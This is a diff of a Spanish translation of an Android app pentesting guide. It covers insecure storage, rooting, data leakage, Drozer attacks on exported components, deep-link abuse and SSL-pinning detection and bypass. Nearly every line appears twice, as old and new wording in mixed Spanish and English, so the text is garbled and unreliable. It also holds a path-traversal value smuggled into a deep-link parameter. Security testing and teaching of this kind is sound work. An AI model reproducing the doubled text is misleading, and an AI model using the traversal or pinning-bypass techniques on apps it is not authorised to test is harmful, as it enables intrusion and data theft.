Algunos desarrolladores guardan datos sensibles en el almacenamiento local y los cifran con una clave hardcoded/predictable en el código. Esto no debería hacerse ya que algo de reversing podría permitir a los atacantes extraer la información confidencial.
**Uso de algoritmos inseguros y/o obsoletos**
Los desarrolladores no deberían usar **algoritmos obsoletos** para realizar comprobaciones de **autorización**, **almacenar** o **enviar** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas, por ejemplo, deberían usarse hashes resistentes a fuerza bruta junto con salt.
Los desarrolladores no deberían usar **deprecated algorithms** para realizar authorisation **checks**, **store** o **send** datos. Algunos de estos algoritmos son: RC4, MD4, MD5, SHA1... Si se usan **hashes** para almacenar contraseñas por ejemplo, deben emplearse hashes resistentes a brute-force con salt.
### Otras comprobaciones
- Se recomienda **ofuscar el APK** para dificultar el trabajo de ingeniería inversa a los atacantes.
- Si la app es sensible (como apps bancarias), debería realizar sus **propias comprobaciones para ver si el móvil está rooteado** y actuar en consecuencia.
- Si la app es sensible (como apps bancarias), debería comprobar si se está usando un **emulador**.
- Si la app es sensible (como apps bancarias), debería **comprobar su propia integridad antes de ejecutarse** para verificar si fue modificada.
- Se recomienda **obfuscate the APK** para dificultar el trabajo de reverse engineer a los atacantes.
- Si la app es sensible (like bank apps), debería realizar sus **own checks to see if the mobile is rooted** y actuar en consecuencia.
- Si la app es sensible (like bank apps), debería comprobar si se está usando un **emulator**.
- Si la app es sensible (like bank apps), debería **check it's own integrity before executing** para verificar si fue modificada.
- Usa [**APKiD**](https://github.com/rednaga/APKiD) para comprobar qué compiler/packer/obfuscator se usó para construir el APK
### Aplicación React Native
### React Native Application
Lee la siguiente página para aprender cómo acceder fácilmente al código javascript de aplicaciones React:
@ -186,28 +186,28 @@ Lee la siguiente página para aprender cómo acceder fácilmente al código java
react-native-application.md
{{#endref}}
### Aplicaciones Xamarin
### Xamarin Applications
Lee la siguiente página para aprender cómo acceder fácilmente al código C# de una aplicación Xamarin:
Lee la siguiente página para aprender cómo acceder fácilmente al código C# de aplicaciones Xamarin:
{{#ref}}
../xamarin-apps.md
{{#endref}}
### Aplicaciones Superpacked
### Superpacked Applications
Según este [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked es un algoritmo Meta que comprime el contenido de una aplicación en un único archivo. El blog habla sobre la posibilidad de crear una app que descomprima este tipo de apps... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos desde el sistema de archivos.**
According to this [**blog post**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) superpacked is a Meta algorithm that compress the content of an application into a single file. El blog habla sobre la posibilidad de crear una app que descomprima este tipo de apps... y una forma más rápida que implica **ejecutar la aplicación y recopilar los archivos descomprimidos desde el sistema de archivos.**
### Análisis estático automatizado de código
### Automated Static Code Analysis
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** escaneando el **código** de la aplicación. Esta herramienta contiene una serie de **known sources** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sinks** (que indican a la herramienta **lugares peligrosos** donde la entrada maliciosa podría causar daños) y **rules**. Estas reglas indican la **combinación** de **sources-sinks** que señala una vulnerabilidad.
La herramienta [**mariana-trench**](https://github.com/facebook/mariana-trench) es capaz de encontrar **vulnerabilidades** analizando el **código** de la aplicación. Esta herramienta contiene una serie de **known sources** (que indican a la herramienta los **lugares** donde la **entrada** es **controlada por el usuario**), **sinks** (que indican a la herramienta **lugares peligrosos** donde una entrada maliciosa del usuario podría causar daños) y **reglas**. Estas reglas indican la **combinación** de **sources-sinks** que señalan una vulnerabilidad.
Con este conocimiento, **mariana-trench revisará el código y encontrará posibles vulnerabilidades en él**.
### Secrets leaked
Una aplicación puede contener secrets (API keys, passwords, hidden urls, subdomains...) dentro de ella que podrías ser capaz de descubrir. Puedes usar una herramienta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
Una aplicación puede contener secrets (API keys, passwords, hidden urls, subdomains...) en su interior que podrías descubrir. Puedes usar una herramienta como [https://github.com/dwisiswant0/apkleaks](https://github.com/dwisiswant0/apkleaks)
### Bypass Biometric Authentication
@ -221,7 +221,7 @@ bypass-biometric-authentication-android.md
- **Ejecución de código**: `Runtime.exec(), ProcessBuilder(), native code:system()`
- **Enviar SMS**: `sendTextMessage, sendMultipartTestMessage`
- **Funciones nativas** declaradas como `native`: `public native, System.loadLibrary, System.load`
- [Lee esto para aprender **cómo hacer ingeniería inversa de funciones nativas**](reversing-native-libraries.md)
- [Read this to learn **how to reverse native functions**](reversing-native-libraries.md)
### **Otros trucos**
@ -236,13 +236,13 @@ content-protocol.md
## Análisis dinámico
> Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (Burp CA cert, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooteado (emulado o no).
> Primero que nada, necesitas un entorno donde puedas instalar la aplicación y todo el entorno (Burp CA cert, Drozer y Frida principalmente). Por lo tanto, se recomienda encarecidamente un dispositivo rooted (emulado o no).
### Análisis dinámico online
### Análisis dinámico en línea
Puedes crear una **cuenta gratuita** en: [https://appetize.io/](https://appetize.io/). Esta plataforma te permite **subir** y **ejecutar** APKs, por lo que es útil para ver cómo se comporta un apk.
Puedes crear una cuenta gratuita en: [https://appetize.io/](https://appetize.io). Esta plataforma te permite subir y ejecutar APKs, por lo que es útil para ver cómo se comporta un APK.
Incluso puedes **ver los logs de tu aplicación** en la web y conectarte mediante **adb**.
Incluso puedes **ver los logs de tu aplicación** en la web y conectar a través de **adb**.
![](<../../images/image (831).png>)
@ -252,7 +252,7 @@ Gracias a la conexión ADB puedes usar **Drozer** y **Frida** dentro de los emul
#### Usando un emulador
- [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**esta** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**las últimas** versiones **x86** **soportan librerías ARM** sin necesitar un emulador ARM lento).
- [**Android Studio**](https://developer.android.com/studio) (Puedes crear dispositivos **x86** y **arm**, y según [**this** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**las últimas versiones x86** soportan **ARM libraries** sin necesitar un emulador arm lento).
- Aprende a configurarlo en esta página:
@ -260,87 +260,87 @@ Gracias a la conexión ADB puedes usar **Drozer** y **Frida** dentro de los emul
avd-android-virtual-device.md
{{#endref}}
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Versión gratuita:** Personal Edition, necesitas crear una cuenta. _Se recomienda **descargar** la versión **CON**_ _**VirtualBox** para evitar errores potenciales._)
- [**Nox**](https://es.bignox.com) (Gratis, pero no soporta Frida ni Drozer).
- [**Genymotion**](https://www.genymotion.com/fun-zone/) **(Free version:** Personal Edition, necesitas crear una cuenta. _Se recomienda **download** la versión **WITH** _**VirtualBox** para evitar errores potenciales._)
- [**Nox**](https://es.bignox.com) (Free, pero no soporta Frida o Drozer).
> [!TIP]
> Al crear un nuevo emulador en cualquier plataforma recuerda que cuanto mayor sea la pantalla, más lento funcionará el emulador. Así que selecciona pantallas pequeñas si es posible.
> Al crear un nuevo emulador en cualquier plataforma recuerda que cuanto mayor sea la pantalla, más lento funcionará el emulador. Por tanto, selecciona pantallas pequeñas si es posible.
Para **instalar google services** (como AppStore) en Genymotion necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
Para **install google services** (como AppStore) en Genymotion necesitas hacer clic en el botón marcado en rojo de la siguiente imagen:
![](<../../images/image (277).png>)
Además, ten en cuenta que en la **configuración de la VM Android en Genymotion** puedes seleccionar **Bridge Network mode** (esto será útil si te vas a conectar a la VM Android desde otra VM con las herramientas).
Además, observa que en la **configuración de la Android VM en Genymotion** puedes seleccionar **Bridge Network mode** (esto será útil si te conectarás a la Android VM desde otra VM con las herramientas).
#### Usar un dispositivo físico
Necesitas activar las opciones de **depuración** y sería ideal si puedes **rootearlo**:
Necesitas activar las opciones de **debugging** y sería ideal si puedes rootear el dispositivo:
1. **Configuración**.
2. (Desde Android 8.0) Selecciona **Sistema**.
3. Selecciona **Acerca del teléfono**.
4. Pulsa **Número de compilación** 7 veces.
5. Vuelve atrás y encontrarás las **Opciones de desarrollador**.
1. **Settings**.
2. (FromAndroid 8.0) Selecciona **System**.
3. Selecciona **About phone**.
4. Pulsa **Build number** 7 veces.
5. Vuelve atrás y encontrarás las **Developer options**.
> Una vez que hayas instalado la aplicación, lo primero que deberías hacer es probarla e investigar qué hace, cómo funciona y familiarizarte con ella.\
> Te sugeriría **realizar este análisis dinámico inicial usando MobSF dynamic analysis + pidcat**, de modo que podamos **aprender cómo funciona la aplicación** mientras MobSF **captura** muchos **datos interesantes** que podrás revisar más tarde.
> Una vez que hayas instalado la aplicación, lo primero que debes hacer es probarla e investigar qué hace, cómo funciona y familiarizarte con ella.\
> Sugiero **realizar este análisis dinámico inicial usando MobSF dynamic analysis + pidcat**, así podremos **aprender cómo funciona la aplicación** mientras MobSF **captura** muchos **datos interesantes** que podrás revisar más tarde.
Magisk/Zygisk quick notes (recomendado en dispositivos Pixel)
- Parchea boot.img con la app Magisk y flashea vía fastboot para obtener root sin tocar el sistema
- Habilita Zygisk + DenyList para ocultar el root; considera LSPosed/Shamiko cuando se requiera ocultamiento más fuerte
- Mantén el boot.img original para recuperarte de actualizaciones OTA; vuelve a parchear después de cada OTA
- Para mirroring de pantalla, usa scrcpy en el host
Magisk/Zygisk quick notes (recommended on Pixel devices)
- Parchea boot.img con la app Magisk y flashea vía fastboot para obtener systemless root
- Habilita Zygisk + DenyList para ocultar root; considera LSPosed/Shamiko cuando se requiera ocultamiento más fuerte
- Conserva el boot.img original para recuperarte de actualizaciones OTA; vuelve a parchear después de cada OTA
- Para mirror de pantalla, usa scrcpy en el host
### Filtración de datos no intencional
### Unintended Data Leakage
**Registro (Logging)**
**Logging**
Los desarrolladores deben tener cuidado de no exponer información de **depuración** públicamente, ya que puede conducir a filtraciones de datos sensibles. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorizar los logs de la aplicación e identificar y proteger información sensible. **Pidcat** se prefiere por su facilidad de uso y legibilidad.
Los desarrolladores deben tener cuidado de exponer **debugging information** públicamente, ya que puede conducir a sensitive data leaks. Se recomiendan las herramientas [**pidcat**](https://github.com/JakeWharton/pidcat) y `adb logcat` para monitorizar los logs de la aplicación y así identificar y proteger información sensible. **Pidcat** se prefiere por su facilidad de uso y legibilidad.
> [!WARNING]
> Ten en cuenta que desde **versiones posteriores a Android 4.0**, **las aplicaciones sólo pueden acceder a sus propios logs**. Por lo tanto, las aplicaciones no pueden acceder a los logs de otras apps.\
> De todos modos, se recomienda **no registrar información sensible**.
> Ten en cuenta que desde versiones posteriores a **Android 4.0**, **las aplicaciones solo pueden acceder a sus propios logs**. Por tanto, las aplicaciones no pueden acceder a los logs de otras apps.\
> Aun así, se recomienda **no loguear información sensible**.
**Caché del portapapeles (Copy/Paste Buffer Caching)**
**Copy/Paste Buffer Caching**
El framework de Android basado en **portapapeles** permite la funcionalidad copiar/pegar en las apps, pero supone un riesgo ya que **otras aplicaciones** pueden **acceder** al portapapeles, exponiendo potencialmente datos sensibles. Es crucial **deshabilitar las funciones de copiar/pegar** para secciones sensibles de una aplicación, como los datos de tarjetas de crédito, para evitar filtraciones.
El framework **clipboard-based** de Android habilita la funcionalidad de copiar-pegar en las apps, pero supone un riesgo ya que **other applications** pueden **access** el portapapeles, potencialmente exponiendo datos sensibles. Es crucial **desactivar funciones de copy/paste** en secciones sensibles de una aplicación, como los datos de tarjetas de crédito, para prevenir data leaks.
**Crash Logs**
Si una aplicación **se bloquea** y **guarda logs**, estos registros pueden ayudar a los atacantes, particularmente cuando la aplicación no puede ser sometida a ingeniería inversa. Para mitigar este riesgo, evita registrar información en los bloqueos y, si los logs deben transmitirse por la red, asegúrate de enviarlos a través de un canal SSL para seguridad.
Si una aplicación **crashes** y **guarda logs**, esos logs pueden ayudar a los atacantes, especialmente cuando la aplicación no puede ser reverse-engineered. Para mitigar este riesgo, evita registrar en los crashes, y si los logs deben transmitirse por la red, asegúrate de enviarlos vía un canal SSL para seguridad.
Como pentester, **intenta revisar estos logs**.
**Datos de analítica enviados a terceros**
**Analytics Data Sent To 3rd Parties**
Las aplicaciones suelen integrar servicios como Google Adsense, que pueden filtrar información sensible de forma inadvertida debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles filtraciones de datos, es aconsejable interceptar el tráfico de la aplicación y comprobar si se está enviando información sensible a servicios de terceros.
Las aplicaciones a menudo integran servicios como Google Adsense, lo que puede inadvertidamente **leak sensitive data** debido a una implementación incorrecta por parte de los desarrolladores. Para identificar posibles data leaks, es recomendable **interceptar el tráfico de la aplicación** y comprobar si se está enviando información sensible a servicios de terceros.
### SQLite DBs
La mayoría de las aplicaciones usarán **bases de datos SQLite internas** para guardar información. Durante el pentest revisa las **bases de datos** creadas, los nombres de **tablas** y **columnas** y todos los **datos** guardados porque podrías encontrar **información sensible** (lo que sería una vulnerabilidad).\
Las bases de datos deberían encontrarse en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
La mayoría de las aplicaciones usarán **internal SQLite databases** para guardar información. Durante el pentest echa un **look** a las **databases** creadas, los nombres de **tables** y **columns** y todos los **data** guardados porque podrías encontrar **sensitive information** (lo que sería una vulnerabilidad).\
Las databases deberían estar localizadas en `/data/data/the.package.name/databases` como `/data/data/com.mwr.example.sieve/databases`
Si la base de datos guarda información confidencial y está **encriptada** pero puedes **encontrar** la **contraseña** dentro de la aplicación, sigue siendo una **vulnerabilidad**.
Si la database guarda información confidencial y está **encrypted** pero puedes **find** la **password** dentro de la aplicación, sigue siendo una **vulnerability**.
Enumera las tablas usando `.tables` y enumera las columnas de las tablas con `.schema <table_name>`
Enumera las tables usando `.tables` y enumera las columns de las tables haciendo `.schema <table_name>`
### Drozer (Exploit Activities, Content Providers and Services)
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** te permite **asumir el rol de una app Android** e interactuar con otras apps. Puede hacer **todo lo que una aplicación instalada puede hacer**, como utilizar el mecanismo de Inter-Process Communication (IPC) de Android e interactuar con el sistema operativo subyacente. .\
Drozer es una herramienta útil para **explotar exported activities, exported services y Content Providers** como aprenderás en las siguientes secciones.
From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Androids Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\
Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections.
### Exploitation de Activities exportadas
### Exploiting exported Activities
[**Lee esto si quieres repasar qué es una Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
También recuerda que el código de una Activity comienza en el método `onCreate`.
[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\
También recuerda que el código de una activity comienza en el método **`onCreate`**.
**Bypass de autorización**
**Authorisation bypass**
Cuando una Activity está exportada puedes invocar su pantalla desde una app externa. Por lo tanto, si una activity con **información sensible** está **exportada** podrías **eludir** los mecanismos de **autenticación** para acceder a ella.
Cuando una Activity está exportada puedes invocar su pantalla desde una app externa. Por tanto, si una activity con **sensitive information** está **exported** podrías **bypass** los mecanismos de **authentication** **para acceder a ella.**
[**Aprende cómo explotar exported activities con Drozer.**](drozer-tutorial/index.html#activities)
[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities)
También puedes iniciar una activity exportada desde adb:
@ -349,108 +349,108 @@ También puedes iniciar una activity exportada desde adb:
```bash
adb shell am start -n com.example.demo/com.example.test.MainActivity
```
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una activity, pero debido a [esto](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (API versions < 21).
**NOTA**: MobSF detectará como malicioso el uso de _**singleTask/singleInstance**_ como `android:launchMode` en una activity, pero debido a [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), aparentemente esto solo es peligroso en versiones antiguas (versiones de API < 21).
> [!TIP]
> Ten en cuenta que un authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funcione el bypass y qué información se exponga.
> Ten en cuenta que un authorisation bypass no siempre es una vulnerabilidad; dependerá de cómo funcione el bypass y de qué información se exponga.
**Filtración de información sensible**
**Activities can also return results**. Si logras encontrar una activity exportada y sin protección que llame al método **`setResult`** y **devuelva información sensible**, existe una filtración de información sensible.
**Activities can also return results**. Si consigues encontrar una activity exportada y sin protección que llame al método `setResult` y devuelva información sensible, existe una filtración de información sensible.
#### Tapjacking
Si el tapjacking no se previene, podrías abusar de la activity exportada para hacer que el **usuario realice acciones inesperadas**. Para más info sobre [**qué es Tapjacking sigue el enlace**](#tapjacking).
Si no se previene el tapjacking, podrías abusar de la activity exportada para hacer que el **usuario realice acciones inesperadas**. For more info about [**what is Tapjacking follow the link**](#tapjacking).
### Exploiting Content Providers - Accediendo y manipulando información sensible
### Exploiting Content Providers - Accessing and manipulating sensitive information
[**Lee esto si quieres repasar qué es un Content Provider.**](android-applications-basics.md#content-provider)\
Los Content Providers se usan básicamente para **compartir datos**. Si una app tiene Content Providers disponibles, podrías **extraer datos sensibles** de ellos. También es interesante probar posibles **SQL injections** y **Path Traversals**, ya que podrían ser vulnerables.
[**Read this if you want to refresh what is a Content Provider.**](android-applications-basics.md#content-provider)\
Content providers se usan básicamente para **compartir datos**. Si una app tiene content providers disponibles, podrías ser capaz de **extraer datos sensibles** de ellos. También es interesante probar posibles **SQL injections** y **Path Traversals**, ya que podrían ser vulnerables.
[**Aprende a explotar Content Providers con Drozer.**](drozer-tutorial/index.html#content-providers)
[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers)
### **Exploiting Services**
[**Lee esto si quieres repasar qué es un Service.**](android-applications-basics.md#services)\
[**Read this if you want to refresh what is a Service.**](android-applications-basics.md#services)\
Recuerda que las acciones de un Service comienzan en el método `onStartCommand`.
Un Service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Entonces, si una aplicación exporta algunos services deberías **revisar** el **código** para entender qué hace y **probarlo** **dinámicamente** para extraer info confidencial, bypassing authentication measures...\
[**Aprende a explotar Services con Drozer.**](drozer-tutorial/index.html#services)
Un Service es básicamente algo que **puede recibir datos**, **procesarlos** y **devolver** (o no) una respuesta. Por tanto, si una aplicación exporta algunos services deberías **revisar** el **código** para entender qué hace y **probarlo dinámicamente** para extraer info confidencial, eludir medidas de autenticación...
[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services)
### **Exploiting Broadcast Receivers**
[**Lee esto si quieres repasar qué es un Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
[**Read this if you want to refresh what is a Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\
Recuerda que las acciones de un Broadcast Receiver comienzan en el método `onReceive`.
Un broadcast receiver estará esperando un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.\
[**Aprende a explotar Broadcast Receivers con Drozer.**](#exploiting-broadcast-receivers)
Un broadcast receiver estará a la espera de un tipo de mensaje. Dependiendo de cómo el receiver maneje el mensaje, podría ser vulnerable.\
[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers)
### **Exploiting Schemes / Deep links**
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [este](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Puedes **abrir** un **scheme** declarado usando **adb** o un **browser**:
Puedes buscar deep links manualmente, usando herramientas como MobSF o scripts como [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\
Puedes **abrir** un scheme declarado usando **adb** o un **browser**:
```bash
adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name]
```
_Ten en cuenta que puedes **omitir el nombre del paquete** y el dispositivo móvil llamará automáticamente a la app que debe abrir ese enlace._
_Tenga en cuenta que puede **omitir el nombre del paquete** y el móvil llamará automáticamente a la aplicación que debe abrir ese enlace._
```html
<!-- Browser regular link -->
<a href="scheme://hostname/path?param=value">Click me</a>
<!-- fallback in your url you could try the intent url -->
<a href="intent://hostname#Intent;scheme=scheme;package=your.package.name;S.browser_fallback_url=http%3A%2F%2Fwww.example.com;end">with alternative</a>
```
**Code executed**
**Código ejecutado**
In order to find the **código que se ejecutará en la App**, go to the activity called by the deeplink and search the function **`onNewIntent`**.
Para encontrar el **código que se ejecutará en la App**, ve a la actividad llamada por el deeplink y busca la función **`onNewIntent`**.
![](<../../images/image (436) (1) (1) (1).png>)
**Informacion sensible**
**Información sensible**
Every time you find a deep link check that i**no esté recibiendo datos sensibles (como contraseñas) vía URL parameters**, because any other application could **impersonate the deep link and steal that data!**
Cada vez que encuentres un deep link verifica que **no esté recibiendo datos sensibles (como contraseñas) vía parámetros URL**, porque cualquier otra aplicación podría **suplantar el deep link y robar esos datos!**
**Parámetros en el path**
**Parámetros en la ruta**
You **must check also if any deep link is using a parameter inside the path** of the URL like: `https://api.example.com/v1/users/{username}` , in that case you can force a path traversal accessing something like: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\
Note that if you find the correct endpoints inside the application you may be able to cause a **Open Redirect** (if part of the path is used as domain name), **account takeover** (if you can modify users details without CSRF token and the vuln endpoint used the correct method) and any other vuln. More [info about this here](http://dphoeniixx.com/2020/12/13-2/).
También **debes comprobar si algún deep link está usando un parámetro dentro de la ruta** de la URL como: `https://api.example.com/v1/users/{username}`, en ese caso puedes forzar un path traversal accediendo a algo como: `example://app/users?username=../../unwanted-endpoint%3fparam=value`.
Ten en cuenta que si encuentras los endpoints correctos dentro de la aplicación podrías provocar un **Open Redirect** (si parte de la ruta se usa como nombre de dominio), **account takeover** (si puedes modificar detalles de usuarios sin token CSRF y el endpoint vuln usó el método correcto) y cualquier otra vuln. Más [info sobre esto aquí](http://dphoeniixx.com/2020/12/13-2/).
**More examples**
**Más ejemplos**
An [interesting bug bounty report](https://hackerone.com/reports/855618) about links (_/.well-known/assetlinks.json_).
Un [interesante bug bounty report](https://hackerone.com/reports/855618) sobre links (_/.well-known/assetlinks.json_).
### Transport Layer Inspection and Verification Failures
### Inspección de la capa de transporte y fallos de verificación
- **Los certificados no siempre se inspeccionan correctamente** por las aplicaciones Android. Es común que estas aplicaciones pasen por alto las advertencias y acepten self-signed certificates o, en algunos casos, vuelvan a usar conexiones HTTP.
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando suites de cifrado inseguras. Esta vulnerabilidad hace la conexión susceptible a ataques man-in-the-middle (MITM), permitiendo a los atacantes descifrar los datos.
- **Filtración de información privada** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego se comunican por canales no seguros para otras transacciones. Este enfoque no protege datos sensibles, como cookies de sesión o detalles del usuario, de la interceptación por entidades maliciosas.
- **Los certificados no siempre se inspeccionan correctamente** en las aplicaciones Android. Es habitual que estas aplicaciones pasen por alto advertencias y acepten certificados autofirmados o, en algunos casos, vuelvan a usar conexiones HTTP.
- **Las negociaciones durante el handshake SSL/TLS a veces son débiles**, empleando cipher suites inseguros. Esta vulnerabilidad hace la conexión susceptible a ataques man-in-the-middle (MITM), permitiendo a atacantes descifrar los datos.
- **Leakage of private information** es un riesgo cuando las aplicaciones se autentican usando canales seguros pero luego comunican por canales no seguros para otras transacciones. Este enfoque no protege datos sensibles, como cookies de sesión o detalles de usuario, de la intercepción por entidades maliciosas.
#### Certificate Verification
#### Verificación del certificado
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para mejorar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden suponer riesgos significativos. For detailed steps on verifying server certificates and addressing vulnerabilities, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) provides comprehensive guidance.
Nos centraremos en la **verificación de certificados**. La integridad del certificado del servidor debe verificarse para aumentar la seguridad. Esto es crucial porque las configuraciones TLS inseguras y la transmisión de datos sensibles por canales no cifrados pueden representar riesgos significativos. Para pasos detallados sobre cómo verificar certificados de servidor y solucionar vulnerabilidades, [**este recurso**](https://manifestsecurity.com/android-application-security-part-10/) ofrece una guía completa.
#### SSL Pinning
SSL Pinning es una medida de seguridad en la que la aplicación verifica el certificado del servidor frente a una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning en aplicaciones que manejen información sensible.
SSL Pinning es una medida de seguridad donde la aplicación verifica el certificado del servidor contra una copia conocida almacenada dentro de la propia aplicación. Este método es esencial para prevenir ataques MITM. Se recomienda encarecidamente implementar SSL Pinning en aplicaciones que manejan información sensible.
#### Traffic Inspection
#### Inspección de tráfico
To inspect HTTP traffic, it's necessary to **install the proxy tool's certificate** (e.g., Burp). Without installing this certificate, encrypted traffic might not be visible through the proxy. For a guide on installing a custom CA certificate, [**click here**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Para inspeccionar tráfico HTTP, es necesario **instalar el certificado de la herramienta proxy** (p.ej., Burp). Sin instalar este certificado, el tráfico cifrado podría no ser visible a través del proxy. Para una guía sobre cómo instalar un certificado CA personalizado, [**haz clic aquí**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine).
Applications targeting **API Level 24 and above** require modifications to the Network Security Config to accept the proxy's CA certificate. This step is critical for inspecting encrypted traffic. For instructions on modifying the Network Security Config, [**refer to this tutorial**](make-apk-accept-ca-certificate.md).
Las aplicaciones dirigidas a **API Level 24 y superior** requieren modificaciones en el Network Security Config para aceptar el certificado CA del proxy. Este paso es crítico para inspeccionar tráfico cifrado. Para instrucciones sobre cómo modificar el Network Security Config, [**consulta este tutorial**](make-apk-accept-ca-certificate.md).
If **Flutter** is being used you need to to follow the instructions in [**this page**](flutter.md). This is becasue, just adding the certificate into the store won't work as Flutter has its own list of valid CAs.
Si se está usando **Flutter** necesitas seguir las instrucciones en [**esta página**](flutter.md). Esto se debe a que, simplemente añadir el certificado al store no funcionará, ya que Flutter tiene su propia lista de CAs válidas.
#### Static detection of SSL/TLS pinning
#### Detección estática de SSL/TLS pinning
Antes de intentar bypasses en tiempo de ejecución, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planificar hooks/patches y a centrarte en las rutas de código correctas.
Antes de intentar bypasses en runtime, mapea rápidamente dónde se aplica el pinning en el APK. El descubrimiento estático te ayuda a planear hooks/patches y enfocarte en las rutas de código correctas.
Tool: SSLPinDetect
- Utilidad de análisis estático de código abierto que decompila el APK a Smali (via apktool) y escanea patrones regex curados de implementaciones de SSL/TLS pinning.
- Informa la ruta exacta del archivo, número de línea y un fragmento de código para cada coincidencia.
- Cubre frameworks comunes y rutas de código personalizadas: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins.
- Utilidad de análisis estático open-source que decompila el APK a Smali (vía apktool) y escanea patrones regex seleccionados de implementaciones de SSL/TLS pinning.
- Reporta la ruta exacta del archivo, número de línea y un snippet de código para cada coincidencia.
- Cubre frameworks comunes y rutas de código personalizadas: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init con custom TrustManagers/KeyManagers, y pins en Network Security Config XML.
Install
- Requisitos previos: Python >= 3.8, Java on PATH, apktool
Instalar
- Requisitos: Python >= 3.8, Java en PATH, apktool
```bash
git clone https://github.com/aancw/SSLPinDetect
cd SSLPinDetect
@ -465,7 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar
python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v
```
Ejemplo de reglas de patrón (JSON)
Usa o extiende signatures para detectar estilos propietarios/personalizados de pinning. Puedes cargar tu propio JSON y escanear a gran escala.
Usa o extiende signatures para detectar estilos de pinning propietarios/personalizados. Puedes cargar tu propio JSON y escanear a gran escala.
```json
{
"OkHttp Certificate Pinning": [
@ -480,20 +480,20 @@ Usa o extiende signatures para detectar estilos propietarios/personalizados de p
}
```
Notas y consejos
- Escaneo rápido en aplicaciones grandes mediante multi-threading y I/O mapeado en memoria; regex precompilados reducen la sobrecarga/falsos positivos.
- Colección de patrones: https://github.com/aancw/smali-sslpin-patterns
- Objetivos típicos de detección para priorizar a continuación:
- Fast scanning on large apps via multi-threading and memory-mapped I/O; pre-compiled regex reduces overhead/false positives.
- Pattern collection: https://github.com/aancw/smali-sslpin-patterns
- Typical detection targets to triage next:
- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references
- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides
- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers
- Declarative pins in res/xml network security config and manifest references
- Usa las ubicaciones coincidentes para planear Frida hooks, parches estáticos o revisiones de config antes de las pruebas dinámicas.
- Use the matched locations to plan Frida hooks, static patches, or config reviews before dynamic testing.
#### Evasión de SSL Pinning
When SSL Pinning is implemented, bypassing it becomes necessary to inspect HTTPS traffic. Various methods are available for this purpose:
Cuando SSL Pinning está implementado, es necesario eludirlo para inspeccionar el tráfico HTTPS. Hay varios métodos disponibles para este propósito:
